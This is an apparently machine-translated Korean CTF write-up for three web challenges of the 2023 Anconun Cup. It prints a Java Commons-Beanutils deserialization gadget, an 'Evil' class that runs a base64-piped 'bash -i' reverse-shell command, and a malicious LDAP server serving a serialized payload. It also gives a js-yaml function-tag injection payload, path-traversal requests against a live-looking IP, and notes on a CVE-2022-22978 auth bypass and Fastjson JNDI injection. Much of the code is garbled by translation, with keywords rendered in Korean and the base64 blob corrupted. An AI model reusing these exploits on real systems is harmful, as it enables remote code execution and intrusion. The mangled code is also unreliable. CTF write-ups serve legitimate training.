제목 : 2023 Anconun Cup 6th Cyber Security Challenge Wp

web​

ai_java​

먼저 첨부 계좌 편지
image.png
image.png
을 통해 계정 번호를 얻으십시오.
Base64 또는 JSFuck을 통해 프롬프트 JS 및 C를 얻을 수 있습니다. JS를 감사하면 C 함수를보고 실행할 수 있습니다. GitHub 프로젝트 주소
image.png
를 받으십시오
소스 코드
image.png
을 찾은 제출 기록을 찾으십시오.
감사 소스 코드는 Spring – Boot가 권한이 없으면 존재할 수 있음을 발견했습니다
image.png

Fastjson Parsing은 관리자의 Page
image.png
의/post_message/인터페이스에 존재합니다.
image.png

특정 버전을 확인하고 LADP를 직접 공격하는 것이 불가능한 지 확인하고 종속성을 확인하십시오.
디스커버리는 시로를 소개했습니다. SerializedData + LDAP 공격을 사용하십시오. 및 쉘을 튀기기 위해 의존성이없는 CB
공개 클래스 CB {
public static void setfieldValue (Object OBJ, String FieldName, Object
t 값) 예외 {
필드 필드=obj.getClass (). getDeclaredfield (FieldName);
field.setAccessible (true);
field.set (obj, value);
}
공개 정적 비교기 GetValue (객체 인스턴스)는 Nosuchfiel을 던졌습니다
Dexception, 불법 행위 지출 {
수업? clazz=instance.getClass ();
//개인 변수의 필드 객체를 가져옵니다
Field Privatefield=Clazz.getDeclaredfield ( '인스턴스');
//개인 변수에 대한 액세스 권한을 설정합니다
privatefield.setAccessible (true);
//개인 변수의 값을 얻습니다
개체 값=privatefield.get (인스턴스);
리턴 (비교기) 값;
}
public static byte [] getPayLoad ()는 예외를 던져 {
classpool pool=classpool.getDefault ();
ctclass clazz=pool.get (evil.class.getName ());
바이트 [] code=clazz.tobytecode ();
templatesimpl obj=새로운 templatesimpl ();
setfieldValue (obj, '_bytecodes', new Byte [] [] {code});
setfieldValue (obj, '_name', 'tvt');
setfieldValue (obj, '_tfactory', new TransformerFactoryImpl ());
최종 BeanComparator Comparator=New Bean Comparator (NULL, GETVA
lue (new Headers ());
대기열 대기열=새로운 PriorityQueue (2, 비교기);
queue.add ( '1');
queue.add ( '1');
setfieldValue (비교기, '속성', 'outputProperties');
setfieldValue (Queue, 'queue', new Object [] {obj, obj});
bytearrayoutputStream barr=새로운 BytearRayoutputStream ();
ObjectOutputStream OOS=새로운 ObjectOutputStream (Barr);
oos.writeobject (대기열);
oos.close ();
바이트 [] bytearray=barr.tobytearray ();
문자열 base644endeddata=base64.getencoder (). encodetostring (by
Tearray);
System.out.println (Base64encodedData);
BytearRay 반품;
}
}
공공 계급 악
Public Void Transform (Dom Var1, SerializationHandler [] var2) 던지기
TransletException {
}
공공 무효 변환 (DOM VAR1, DTMAXISITERATOR var2, Serialization
Andler var3) transletexception {
}
public static void main (string [] args)은 예외 {
runtime.getRuntime (). exec ( 'bash -c {echo, 5l2g5ooz6lwj5lua5lmi44ccc5yaz6ieq5bex5qe5zg95luk} | {base64, -d} | {bash, -i}');
}
Public Evil ()은 예외를 던져 {
runtime.getRuntime (). exec ( 'bash -c {echo, 5l2g5ooz6lwj5lua5lmi44ccc5yaz6ieq5bex5qe5zg95luk} | {base64, -d} | {bash, -i}');
}
}
공개 클래스 ldapserialServer {
개인 정적 최종 문자열 ldap_base='dc=example, dc=com';
public static void main (String [] tmp_args) {
문자열 [] args=new String [] { 'http://127.0.0.1:8000/#EvilClass'};
int port=7777;
노력하다 {
inmemoryDirectoryServerConfig Config=새로운 InMemoryDirectory
ServerConfig (ldap_base);
config.setListenerConfigs (new inmemoryListenerConfig (
'듣기', //$ non-nls-1 $
inetAddress.getByName ( '0.0.0.0'), //$ non-nls-1 $
포트,
serversocketFactory.getDefault (),
socketfactory.getDefault (),
(sslsocketfactory) sslsocketfactory.getDefault ());
config.addinMemoryOperationInterceptor (new OperationIntercep
Tor (New URL (Args [0]));
InmemoryDirectoryServer ds=새로운 InmemoryDirectoryServer (Con
무화과);
System.out.println ( '0.0.0.0:에서 듣기' + 포트); //$ non-n
LS-1 $
ds.StartListening ();
}
캐치 (예외 e) {
e.printstacktrace ();
}
}
비공개 정적 클래스 Operation Interceptor는 inmemoryoperationi를 확장합니다
nterceptor {
개인 URL 코드베이스;
Public Operation Interceptor (URL CB) {
this.codebase=cb;
}
@보수
공개 void ProcessSearchResult (InMemoryInterceptedSearchResul
t 결과) {
문자열 base=result.getRequest (). getBasedn ();
항목 E=새 항목 (기본);
노력하다 {
sendresult (결과, 기본, e);
}
캐치 (예외 E1) {
e1.printstacktrace ();
}
}
보호 된 void sendresult (inmemoryinterceptedsearchresult resu
lt, 문자열 기반, 항목 e) 예외 {
System.out.println ( ' + base +에 대한 LDAP 참조 결과를 보내십시오
'반환 CB 가제트');
e.addattribute ( 'javaclassname', 'deserpayload'); //$ non-nls-
1 $
문자열 base644odeddata='ro0abxnyabdqyxzhlnv0awwuuhjpb3jp
dhlrdwv1zztamlt7p4kxawacsqaec2l6zuwacmnvbxbhcmf0b3j0abzmamf2ys91dglsl0n
VBXBHCMF0B3I7EHAAAACC3IAK29YZY5HCGFJAGUUY29TBW9UCY5izwfudxrpbhmuqmvhbk
NVBXBHCMF0B3L JOYJQCYKKSAIAAKWACWACMNVBXBHCMF0B3JXAH4AAUWACHBYB3BLCNR5DAAST
GPHDMEVBGFUZY9TDHJPBMC7EHBZCGA/Y29TLN1BI54BWWUWOW50ZXJUYWUD3MUDHJHBNNNW
b3j0lkhlywrlcnmksw5zzw5zaxrpdmvdb21wyxjhdg9yyieexdpxa/ecaab4chqaeg91dhb
1DFBYB3BLCNRPZXN3BAAAAANZCGA6Y29TLN1BI5VCMCUYXBHY2HLLNHHBGFULMLUDGVYBM
fslnhzbhrjlnryyxguvgvtcgxhdgvzswswswswswswswswswswswswswswswswswswswswswswsw1wbalxt8furkszawagsqanx2luzgvude51bwjlc
KKADL90CMFUC2XLDELUZGV4WWAKX2J5DGVJB2RLC3QAA1TBQLSABL9JBGFZC3QAELTMAMF2
ys9syw5nl0nsyxnzo0wabv9uyw1lcqb+aarmabffb3v0chv0uhjvcgvydgllc3qafkxqyxz
hl3v0awwvuhjvcgvydglgllczt4caaaaad ////dxiaa1tbqkv9grvnz9s3agaaaaaaabdx
IAALTCRPMX+AYIVOACAAB4CAAABINK/RQ+AAAANA1CGAIACMIACQKACIAJQOAJGANCGAHA
CGHACKHACOBAAL0CMFUC2ZVCM0BAHIOTGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRL
CM5HBC94C2X0YY9ET007W0XJB20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCML
hbgl6zxivu2vyawfsaxphdglvbkhbmrszxi7kvybaardb2rlaqaptgluzu51bwjlclrhym
xlaqastg9jywxwyxjpywjszvrhymxlaqaedghpcweabkxldmlsoweabhzhcjebac1my29tl
3n1bi9vcmcvyxbhy2hll3hhbgful2ludgvybmfsl3hzbhrjl0rpttsbaar2yxiyaqbcw0xj
B20VC3VUL29YZY9HCGFJAGUVEG1SL2LUDGVYBMFSL3NLCMMLHBGL6ZXIVU2VYAWFSAXPHDGL
vbkhbmrszxi7aqakrxhjzxb0aw9ucwcakweapihmy29tl3nbi9vcmcvyxbhy2hll3hhhbg
ful2ludgvybmfsl3hzbhrjl0rptttTMY29TL3N1BI9VCMCVYXBHY2HLL3HTBC9PBNRLCM5HB
c9kdg0vrfrnqxhpc0l0zxjhdg9yo0xjb20vc3vul9hcgfjaguveg1sl2ludgvybmfsl3nlc
mlhbgl6zxivu2vyawfsaxphdglgglvbkhbmrszxi7kvybadvmy29tl3nbi9vcmcvyxbhy2hl
l3htbc9pbnrlcm5hbc9kdg0vrfrnqxhpc0l0zxjhdg9yoweabhzhcjmbaefmy29tl3n1bi9
vcmcvyxbhy2hll3htbc9pbnrlcm5hbc9zzxjpywxpemvyl1nlcmmlhbgl6yxrpb25iyw5kbg
vyowebg1haw4babyow0xqyxzhl2xhbmcvu3ryaw5noylwaqaeyxjncweae1tmamf2ys9sy
W5nl1n0cmluzzshacwbaay8aw5pdd4baamokvybaaptb3vyy2vgawxlaqajzxpbc5qyxzh
bwatdaauac8bagfiyxnoic1jihtly2hvlfltrnphq0f0yvnbk0ppowtawflzedod0x6utn
makv4txk0ee9ua3vnvfe0thpnne9ez2dnrdrttve9px18e2jhc2u2ncwtzh18e2jhc2gslw
l9daawadehadimadmanawahgafaqaezxzpbaecgnvbs9zdw4vb3jnl2fwywnozs94ywxhb
i9pbnrlcm5hbc94c2x0yyy9ydw50aw1ll0fic3ryywn0vhjhbnnszxqbadljb20vc3vul29y
zy9hcgfjaguvegsywsyw4vaw50zxjuywwvehnsdgmvvhbhbnnszxrfegnlchrpb24babnqyxz
HL2XHBMCVRXHJXB0AW9UAQARAMF2YS9SYW5NL1J1BNRPBWUBAAPNZXRSDW50AW1LAQAVKC
lmamf2ys9syw5nl1j1bnrpbwu7aqaezxhlyweajyhmamf2ys9syw5nl1n0cmluzzsptgphd
mevbgfuzy9qcm9jzxnzoweaa0ndngeacmdldfbhewxvywqbaaqba qbakvtcacebgahaaaaaae
AAEACAAJAAIACgAAAD8AAAAAAAAAAAAAAAAAAAGAAEAAAAALAAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0
ADgAAAAAAAQAPABAAAQAAAAEQASAAIAEwAAAAQAUAAEACAAVAAIACgAAAAEkAAAAAAAAAA
AAAbEAAAACAAsAAAAGAAEAAAAAAOAAWAAAAQAAQAAAABAA0ADgAAAAAAAAAQAPABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE
qawaaaiaaaababacgaadaadaaaaaaaaaajabkaggacaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaesarya
a1e4aarxsqaaaaaiacwaaaaa4aawaaabeacqasaaa0aewamaaaabaaaaaadgababaaaaataaa
abaabab0aaqaeab8aagakaaaaqaaqaacaaaaaaaokrcabbgaarictgadv7eaaaaaaaaaaaaaaaaaa
Maaaauaaqafqanabyadaaaaawaaqaaaaaaaa4adqaoaaaaaaaaaaqaaqaaaaaaaaiixb0a
an0dnrwdweaeheafganea==';
e.addattribute ( 'JavaserializedData', base64.getDecoder (). dec
ODE (Base64endedData));
result.sendsearchentry (e);
result.setResult (new ldapresult (0, resultCode.Success));
}
}
}
CB를 사용하여 Base64를 인코딩하고 직접 호출하지 않습니다. JAR 패키지시 내부 API 오류를 방지합니다. 로컬로, 우리는 CVE-2022-22978을 사용하여 ID 인증을 우회하고 Fastjson의 캐시 우회를 사용하고 JNDI 주입을 구현합니다.
개시.
image.png
image.png
image.png

signal​

우선,이 질문은 다른 파일 형식을 Yaml 형식으로 변환 한 다음 Yaml.load ()가 JS 객체로로드되기 때문입니다. GitHub에서 JS-YAML 문서 설명을 찾으십시오. 개체를 구문 분석하는 방법, 공식 웹 사이트는 예제를 제시합니다. 여기서는 구문 분석 할 수있는 것을 직접 살펴볼 것입니다.
image.png

발견 가능한 분석 방법
image.png

JS-YAML 버전은 새 버전 제출과 비교하여 3.14.1입니다.
기본 위험 모드의 마지막 버전으로 태그를 사용하여 임의의 JS 기능을 구성 할 수 있습니다. JS/기능
image.png

그런 다음 템플릿 렌더링 장소에서 객체의 Tostring 메소드가 자동으로 호출됩니다.
따라서 yaml 파일 컨텐츠를 다음 페이로드로 업로드하기 만하면됩니다.
'이름': {toString: 반환 플래그;} '}

Swagger docs​

1. 웹 사이트 기능을 알아 내려면 인터페이스 문서 읽기
2. 사용자를 등록하십시오
{ 'username':'admin', 'password':'admin'}
3. 로그인
{ 'username':'admin', 'password':'admin'}
4. 파일을 읽으십시오
테스트는 모든 파일 읽기가/api-base/v0/검색 인터페이스에 존재한다는 것을 발견했습니다.
과정을 읽으십시오
http://47.108.206.4:40476/api-base/v0/search? file=././././././proc/1/cmdlineType=텍스트
소스 코드 위치를 읽습니다
http://47.108.206.4:40476/api-base/v0/search? file=././././././app/run.shtype=텍스트
소스 코드를 읽으십시오
5. 코드 감사
image.png

/api-base/v0/검색에는 Render_template_string ()이있어 STI가 RCE를 유발할 수 있으며 렌더링 컨텐츠 만 제어하면됩니다.
UAPATE () 함수의 프로토 타입 체인과 유사한 오염이 있으며 환경을 수정하는 데 사용할 수 있습니다.
 
뒤로
상단